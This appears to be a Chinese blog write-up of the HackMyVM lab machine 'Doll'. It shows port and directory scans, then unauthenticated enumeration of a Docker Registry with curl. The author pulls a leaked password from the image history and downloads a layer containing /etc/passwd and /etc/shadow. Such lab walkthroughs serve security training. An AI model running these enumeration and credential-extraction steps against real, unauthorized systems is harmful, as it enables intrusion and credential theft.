{"id":611,"date":"2024-04-23T16:24:20","date_gmt":"2024-04-23T08:24:20","guid":{"rendered":"http:\/\/162.14.82.114\/?p=611"},"modified":"2024-04-23T16:24:20","modified_gmt":"2024-04-23T08:24:20","slug":"hmv-_-doll","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/611\/04\/23\/2024\/","title":{"rendered":"hmv[-_-]Doll"},"content":{"rendered":"<h1>Doll<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623149.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623149.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240423150723069\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623151.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623151.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240423150748443\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ rustscan -a 192.168.0.104 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.0.104:22\nOpen 192.168.0.104:1007\n[~] Starting Script(s)\n[&gt;] Script to be run Some(&quot;nmap -vvv -p {{port}} {{ip}}&quot;)\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-23 03:08 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nInitiating Ping Scan at 03:08\nScanning 192.168.0.104 [2 ports]\nCompleted Ping Scan at 03:08, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 03:08\nCompleted Parallel DNS resolution of 1 host. at 03:08, 0.02s elapsed\nDNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 03:08\nScanning doll (192.168.0.104) [2 ports]\nDiscovered open port 22\/tcp on 192.168.0.104\nDiscovered open port 1007\/tcp on 192.168.0.104\nCompleted Connect Scan at 03:08, 0.00s elapsed (2 total ports)\nInitiating Service scan at 03:08\nScanning 2 services on doll (192.168.0.104)\nCompleted Service scan at 03:08, 31.14s elapsed (2 services on 1 host)\nNSE: Script scanning 192.168.0.104.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.26s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nNmap scan report for doll (192.168.0.104)\nHost is up, received conn-refused (0.00043s latency).\nScanned at 2024-04-23 03:08:09 EDT for 31s\n\nPORT     STATE SERVICE REASON  VERSION\n22\/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 d7:32:ac:40:4b:a8:41:66:d3:d8:11:49:6c:ed:ed:4b (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTJXrSWPYuRFDRhOQTm8ODrNmcYkffKkOD9xodVB9AT6hwwYFzzrLUCfGlni3c\/Dsn2za1vckR222GZnkqSap3H53A8KyfNBG0oblqW332wX1Cv4ytrOn8JHFAzZ5nHeOi+R7\/XY\/37xaDAtpSoA4K3OhVkrDr8SPuKo+\/aZwB5qgCcE0qUAC4qMnPkRi4\/eftDoPI1nNt4ou7GWl0k9GiuJd2BOPSw2Z1nLBRlhTYBWxgWT5k3sgwEa\/wDT\/W5YAgxj3XRe\/xGbiBCKRBoWelBUOvzBkO6IAZ8NIW8LDobhOJ0FDmI0Pksvv3rGM0J0ZBwoV7AXTEmP4PzzHHOUyIAyq8daeuv2bndVXzDI2SCb2yvZsZU2gwL835Ch3TGHKdYkSdfPg+uKlUhG6UzkXt\/5a7mocFFPAZrQ2cgJ0G\/McG5EMJ9serckVShl9p1j+opQaNPgshtR5G0S2tyi+7RRz2VLP4vCazUkB4wun86n6iqYarkjSKg18ld73bH2c=\n|   256 81:0e:67:f8:c3:d2:50:1e:4d:09:2a:58:11:c8:d4:95 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNfTcgZTIv9SMwaKa6F25a1aVS\/RPyYOMHqHok7na6H\/CYogWQkz+ipl43tBJnLmEAoFPkrTEjXhUeUdzxz5IjI=\n|   256 0d:c3:7c:54:0b:9d:31:32:f2:d9:09:d3:ed:ed:93:cd (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8krwWIQC+0TmPerDUJ+StC2TAOcSjupbv9gB1JpTUU\n1007\/tcp open  http    syn-ack Docker Registry (API: 2.0)\n|_http-title: Site doesn&#039;t have a title.\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 03:08\nCompleted NSE at 03:08, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 32.30 seconds<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.104:1007\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.104:1007\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,jpg,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/v2                   (Status: 301) [Size: 39] [--&gt; \/v2\/]\n\/http%3A%2F%2Fwww     (Status: 301) [Size: 0] [--&gt; \/http:\/www]\n\/http%3A%2F%2Fwww.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/www.jpg]\n\/http%3A%2F%2Fwww.bak (Status: 301) [Size: 0] [--&gt; \/http:\/www.bak]\n\/http%3A%2F%2Fwww.zip (Status: 301) [Size: 0] [--&gt; \/http:\/www.zip]\n\/http%3A%2F%2Fwww.html (Status: 301) [Size: 0] [--&gt; \/http:\/www.html]\n\/http%3A%2F%2Fwww.php (Status: 301) [Size: 0] [--&gt; \/http:\/www.php]\n\/http%3A%2F%2Fwww.txt (Status: 301) [Size: 0] [--&gt; \/http:\/www.txt]\n\/http%3A%2F%2Fyoutube.html (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.html]\n\/http%3A%2F%2Fyoutube.txt (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.txt]\n\/http%3A%2F%2Fyoutube (Status: 301) [Size: 0] [--&gt; \/http:\/youtube]\n\/http%3A%2F%2Fyoutube.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.jpg]\n\/http%3A%2F%2Fyoutube.bak (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.bak]\n\/http%3A%2F%2Fyoutube.zip (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.zip]\n\/http%3A%2F%2Fyoutube.php (Status: 301) [Size: 0] [--&gt; \/http:\/youtube.php]\n\/http%3A%2F%2Fblogs.html (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.html]\n\/http%3A%2F%2Fblogs   (Status: 301) [Size: 0] [--&gt; \/http:\/blogs]\n\/http%3A%2F%2Fblogs.txt (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.txt]\n\/http%3A%2F%2Fblogs.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.jpg]\n\/http%3A%2F%2Fblogs.bak (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.bak]\n\/http%3A%2F%2Fblogs.zip (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.zip]\n\/http%3A%2F%2Fblogs.php (Status: 301) [Size: 0] [--&gt; \/http:\/blogs.php]\n\/http%3A%2F%2Fblog    (Status: 301) [Size: 0] [--&gt; \/http:\/blog]\n\/http%3A%2F%2Fblog.txt (Status: 301) [Size: 0] [--&gt; \/http:\/blog.txt]\n\/http%3A%2F%2Fblog.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/blog.jpg]\n\/http%3A%2F%2Fblog.bak (Status: 301) [Size: 0] [--&gt; \/http:\/blog.bak]\n\/http%3A%2F%2Fblog.zip (Status: 301) [Size: 0] [--&gt; \/http:\/blog.zip]\n\/http%3A%2F%2Fblog.php (Status: 301) [Size: 0] [--&gt; \/http:\/blog.php]\n\/http%3A%2F%2Fblog.html (Status: 301) [Size: 0] [--&gt; \/http:\/blog.html]\n\/**http%3A%2F%2Fwww.php (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.php]\n\/**http%3A%2F%2Fwww.html (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.html]\n\/**http%3A%2F%2Fwww.txt (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.txt]\n\/**http%3A%2F%2Fwww.jpg (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.jpg]\n\/**http%3A%2F%2Fwww.zip (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.zip]\n\/**http%3A%2F%2Fwww.bak (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www.bak]\n\/**http%3A%2F%2Fwww   (Status: 301) [Size: 0] [--&gt; \/%2A%2Ahttp:\/www]\n\/http%3A%2F%2Fcommunity.html (Status: 301) [Size: 0] [--&gt; \/http:\/community.html]\n\/http%3A%2F%2Fcommunity.txt (Status: 301) [Size: 0] [--&gt; \/http:\/community.txt]\n\/http%3A%2F%2Fcommunity.bak (Status: 301) [Size: 0] [--&gt; \/http:\/community.bak]\n\/http%3A%2F%2Fcommunity.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/community.jpg]\n\/http%3A%2F%2Fcommunity.zip (Status: 301) [Size: 0] [--&gt; \/http:\/community.zip]\n\/http%3A%2F%2Fcommunity (Status: 301) [Size: 0] [--&gt; \/http:\/community]\n\/http%3A%2F%2Fcommunity.php (Status: 301) [Size: 0] [--&gt; \/http:\/community.php]\n\/http%3A%2F%2Fradar.txt (Status: 301) [Size: 0] [--&gt; \/http:\/radar.txt]\n\/http%3A%2F%2Fradar.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/radar.jpg]\n\/http%3A%2F%2Fradar.bak (Status: 301) [Size: 0] [--&gt; \/http:\/radar.bak]\n\/http%3A%2F%2Fradar.zip (Status: 301) [Size: 0] [--&gt; \/http:\/radar.zip]\n\/http%3A%2F%2Fradar   (Status: 301) [Size: 0] [--&gt; \/http:\/radar]\n\/http%3A%2F%2Fradar.php (Status: 301) [Size: 0] [--&gt; \/http:\/radar.php]\n\/http%3A%2F%2Fradar.html (Status: 301) [Size: 0] [--&gt; \/http:\/radar.html]\n\/http%3A%2F%2Fjeremiahgrossman.bak (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.bak]\n\/http%3A%2F%2Fjeremiahgrossman.zip (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.zip]\n\/http%3A%2F%2Fjeremiahgrossman.php (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.php]\n\/http%3A%2F%2Fjeremiahgrossman (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman]\n\/http%3A%2F%2Fjeremiahgrossman.html (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.html]\n\/http%3A%2F%2Fjeremiahgrossman.txt (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.txt]\n\/http%3A%2F%2Fjeremiahgrossman.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/jeremiahgrossman.jpg]\n\/http%3A%2F%2Fweblog.txt (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.txt]\n\/http%3A%2F%2Fweblog.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.jpg]\n\/http%3A%2F%2Fweblog.bak (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.bak]\n\/http%3A%2F%2Fweblog.zip (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.zip]\n\/http%3A%2F%2Fweblog  (Status: 301) [Size: 0] [--&gt; \/http:\/weblog]\n\/http%3A%2F%2Fweblog.php (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.php]\n\/http%3A%2F%2Fweblog.html (Status: 301) [Size: 0] [--&gt; \/http:\/weblog.html]\n\/http%3A%2F%2Fswik    (Status: 301) [Size: 0] [--&gt; \/http:\/swik]\n\/http%3A%2F%2Fswik.bak (Status: 301) [Size: 0] [--&gt; \/http:\/swik.bak]\n\/http%3A%2F%2Fswik.zip (Status: 301) [Size: 0] [--&gt; \/http:\/swik.zip]\n\/http%3A%2F%2Fswik.php (Status: 301) [Size: 0] [--&gt; \/http:\/swik.php]\n\/http%3A%2F%2Fswik.html (Status: 301) [Size: 0] [--&gt; \/http:\/swik.html]\n\/http%3A%2F%2Fswik.txt (Status: 301) [Size: 0] [--&gt; \/http:\/swik.txt]\n\/http%3A%2F%2Fswik.jpg (Status: 301) [Size: 0] [--&gt; \/http:\/swik.jpg]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ nc 192.168.0.104 1007 \nwhoami\nHTTP\/1.1 400 Bad Request\nContent-Type: text\/plain; charset=utf-8\nConnection: close\n\n400 Bad Request<\/code><\/pre>\n<h3>\u670d\u52a1\u63a2\u6d4b<\/h3>\n<p>\u53c2\u8003\uff1a<a href=\"https:\/\/book.hacktricks.xyz\/network-services-pentesting\/5000-pentesting-docker-registry\">https:\/\/book.hacktricks.xyz\/network-services-pentesting\/5000-pentesting-docker-registry<\/a><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623152.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623152.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240423151620661\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fdb\u884c\u8bd5\u63a2\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ curl -s http:\/\/192.168.0.104:1007\/v2\/_catalog\n{&quot;repositories&quot;:[&quot;dolly&quot;]}\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ curl -s http:\/\/192.168.0.104:1007\/v2\/        \n{}<\/code><\/pre>\n<p>\u518d\u53c2\u8003\uff1a<a href=\"https:\/\/book.hacktricks.xyz\/network-services-pentesting\/5000-pentesting-docker-registry#enumeration-using-curl\">https:\/\/book.hacktricks.xyz\/network-services-pentesting\/5000-pentesting-docker-registry#enumeration-using-curl<\/a><\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ curl -s http:\/\/192.168.0.104:1007\/v2\/dolly\/tags\/list\n{&quot;name&quot;:&quot;dolly&quot;,&quot;tags&quot;:[&quot;latest&quot;]}\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ curl -s http:\/\/192.168.0.104:1007\/v2\/dolly\/manifests\/latest\n{\n   &quot;schemaVersion&quot;: 1,\n   &quot;name&quot;: &quot;dolly&quot;,\n   &quot;tag&quot;: &quot;latest&quot;,\n   &quot;architecture&quot;: &quot;amd64&quot;,\n   &quot;fsLayers&quot;: [\n      {\n         &quot;blobSum&quot;: &quot;sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017&quot;\n      },\n      {\n         &quot;blobSum&quot;: &quot;sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4&quot;\n      },\n      {\n         &quot;blobSum&quot;: &quot;sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4&quot;\n      },\n      {\n         &quot;blobSum&quot;: &quot;sha256:f56be85fc22e46face30e2c3de3f7fe7c15f8fd7c4e5add29d7f64b87abdaa09&quot;\n      }\n   ],\n   &quot;history&quot;: [\n      {\n         &quot;v1Compatibility&quot;: &quot;{\\&quot;architecture\\&quot;:\\&quot;amd64\\&quot;,\\&quot;config\\&quot;:{\\&quot;Hostname\\&quot;:\\&quot;10ddd4608cdf\\&quot;,\\&quot;Domainname\\&quot;:\\&quot;\\&quot;,\\&quot;User\\&quot;:\\&quot;\\&quot;,\\&quot;AttachStdin\\&quot;:true,\\&quot;AttachStdout\\&quot;:true,\\&quot;AttachStderr\\&quot;:true,\\&quot;Tty\\&quot;:true,\\&quot;OpenStdin\\&quot;:true,\\&quot;StdinOnce\\&quot;:true,\\&quot;Env\\&quot;:[\\&quot;PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\&quot;],\\&quot;Cmd\\&quot;:[\\&quot;\/bin\/sh\\&quot;],\\&quot;Image\\&quot;:\\&quot;doll\\&quot;,\\&quot;Volumes\\&quot;:null,\\&quot;WorkingDir\\&quot;:\\&quot;\\&quot;,\\&quot;Entrypoint\\&quot;:null,\\&quot;OnBuild\\&quot;:null,\\&quot;Labels\\&quot;:{}},\\&quot;container\\&quot;:\\&quot;10ddd4608cdfd81cd95111ecfa37499635f430b614fa326a6526eef17a215f06\\&quot;,\\&quot;container_config\\&quot;:{\\&quot;Hostname\\&quot;:\\&quot;10ddd4608cdf\\&quot;,\\&quot;Domainname\\&quot;:\\&quot;\\&quot;,\\&quot;User\\&quot;:\\&quot;\\&quot;,\\&quot;AttachStdin\\&quot;:true,\\&quot;AttachStdout\\&quot;:true,\\&quot;AttachStderr\\&quot;:true,\\&quot;Tty\\&quot;:true,\\&quot;OpenStdin\\&quot;:true,\\&quot;StdinOnce\\&quot;:true,\\&quot;Env\\&quot;:[\\&quot;PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\&quot;],\\&quot;Cmd\\&quot;:[\\&quot;\/bin\/sh\\&quot;],\\&quot;Image\\&quot;:\\&quot;doll\\&quot;,\\&quot;Volumes\\&quot;:null,\\&quot;WorkingDir\\&quot;:\\&quot;\\&quot;,\\&quot;Entrypoint\\&quot;:null,\\&quot;OnBuild\\&quot;:null,\\&quot;Labels\\&quot;:{}},\\&quot;created\\&quot;:\\&quot;2023-04-25T08:58:11.460540528Z\\&quot;,\\&quot;docker_version\\&quot;:\\&quot;23.0.4\\&quot;,\\&quot;id\\&quot;:\\&quot;89cefe32583c18fc5d6e6a5ffc138147094daac30a593800fe5b6615f2d34fd6\\&quot;,\\&quot;os\\&quot;:\\&quot;linux\\&quot;,\\&quot;parent\\&quot;:\\&quot;1430f49318669ee82715886522a2f56cd3727cbb7cb93a4a753512e2ca964a15\\&quot;}&quot;\n      },\n      {\n         &quot;v1Compatibility&quot;: &quot;{\\&quot;id\\&quot;:\\&quot;1430f49318669ee82715886522a2f56cd3727cbb7cb93a4a753512e2ca964a15\\&quot;,\\&quot;parent\\&quot;:\\&quot;638e8754ced32813bcceecce2d2447a00c23f68c21ff2d7d125e40f1e65f1a89\\&quot;,\\&quot;comment\\&quot;:\\&quot;buildkit.dockerfile.v0\\&quot;,\\&quot;created\\&quot;:\\&quot;2023-03-29T18:19:24.45578926Z\\&quot;,\\&quot;container_config\\&quot;:{\\&quot;Cmd\\&quot;:[\\&quot;ARG passwd=devilcollectsit\\&quot;]},\\&quot;throwaway\\&quot;:true}&quot;\n      },\n      {\n         &quot;v1Compatibility&quot;: &quot;{\\&quot;id\\&quot;:\\&quot;638e8754ced32813bcceecce2d2447a00c23f68c21ff2d7d125e40f1e65f1a89\\&quot;,\\&quot;parent\\&quot;:\\&quot;cf9a548b5a7df66eda1f76a6249fa47037665ebdcef5a98e7552149a0afb7e77\\&quot;,\\&quot;created\\&quot;:\\&quot;2023-03-29T18:19:24.45578926Z\\&quot;,\\&quot;container_config\\&quot;:{\\&quot;Cmd\\&quot;:[\\&quot;\/bin\/sh -c #(nop)  CMD [\\\\\\&quot;\/bin\/sh\\\\\\&quot;]\\&quot;]},\\&quot;throwaway\\&quot;:true}&quot;\n      },\n      {\n         &quot;v1Compatibility&quot;: &quot;{\\&quot;id\\&quot;:\\&quot;cf9a548b5a7df66eda1f76a6249fa47037665ebdcef5a98e7552149a0afb7e77\\&quot;,\\&quot;created\\&quot;:\\&quot;2023-03-29T18:19:24.348438709Z\\&quot;,\\&quot;container_config\\&quot;:{\\&quot;Cmd\\&quot;:[\\&quot;\/bin\/sh -c #(nop) ADD file:9a4f77dfaba7fd2aa78186e4ef0e7486ad55101cefc1fabbc1b385601bb38920 in \/ \\&quot;]}}&quot;\n      }\n   ],\n   &quot;signatures&quot;: [\n      {\n         &quot;header&quot;: {\n            &quot;jwk&quot;: {\n               &quot;crv&quot;: &quot;P-256&quot;,\n               &quot;kid&quot;: &quot;3A62:LRMK:BRSW:HBFU:W7AW:WKWO:EISZ:37TJ:ISQG:VEEX:6IU3:OMFS&quot;,\n               &quot;kty&quot;: &quot;EC&quot;,\n               &quot;x&quot;: &quot;PzVJ46PbsqaK17TkT6XRqAO73vVpJP9YB2cK9H_5fdI&quot;,\n               &quot;y&quot;: &quot;JW9IZUda9qYX5_KUK0uVHKB959ZS0Y2AIto1VD6vI6A&quot;\n            },\n            &quot;alg&quot;: &quot;ES256&quot;\n         },\n         &quot;signature&quot;: &quot;fhjzPOLfhp5tzKXc5JDPcKkVtzQCnlS3up1I_Wn_I77LZCRxR09r7uQhrk_N-ynhR4W7hNyMpUfU2YadC-Qf4A&quot;,\n         &quot;protected&quot;: &quot;eyJmb3JtYXRMZW5ndGgiOjI4MjksImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyNC0wNC0yM1QwNzoyMjoxN1oifQ&quot;\n      }\n   ]\n}<\/code><\/pre>\n<p>\u5f97\u5230\u4e00\u4e2a\u5bc6\u7801\uff1a<code>passwd=devilcollectsit<\/code><\/p>\n<p>\u7136\u540e\u4e0b\u8f7d\u89e3\u538b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ curl http:\/\/192.168.0.104:1007\/v2\/dolly\/blobs\/sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017 --output blob1.tar\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100  3707  100  3707    0     0  65708      0 --:--:-- --:--:-- --:--:-- 66196\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ tar -xf blob1.tar\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ ls -la\ntotal 24\ndrwxr-xr-x  5 kali kali 4096 Apr 23 03:24 .\ndrwxr-xr-x 63 kali kali 4096 Apr 23 03:06 ..\n-rw-r--r--  1 kali kali 3707 Apr 23 03:23 blob1.tar\ndrwxr-xr-x  2 kali kali 4096 Apr 25  2023 etc\ndrwxr-xr-x  3 kali kali 4096 Apr 25  2023 home\ndrwx------  2 kali kali 4096 Apr 25  2023 root\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ cd etc                                                                                                                                  \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/etc]\n\u2514\u2500$ ls -la\ntotal 32\ndrwxr-xr-x 2 kali kali 4096 Apr 25  2023 .\ndrwxr-xr-x 5 kali kali 4096 Apr 23 03:24 ..\n-rw-r--r-- 1 kali kali  710 Apr 25  2023 group\n-rw-r--r-- 1 kali kali  697 Nov  4  2022 group-\n-rw-r--r-- 1 kali kali 1223 Apr 25  2023 passwd\n-rw-r--r-- 1 kali kali 1223 Apr 25  2023 passwd-\n-rw-r----- 1 kali kali  553 Apr 25  2023 shadow\n-rw-r----- 1 kali kali  448 Apr 25  2023 shadow-\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/etc]\n\u2514\u2500$ cat *       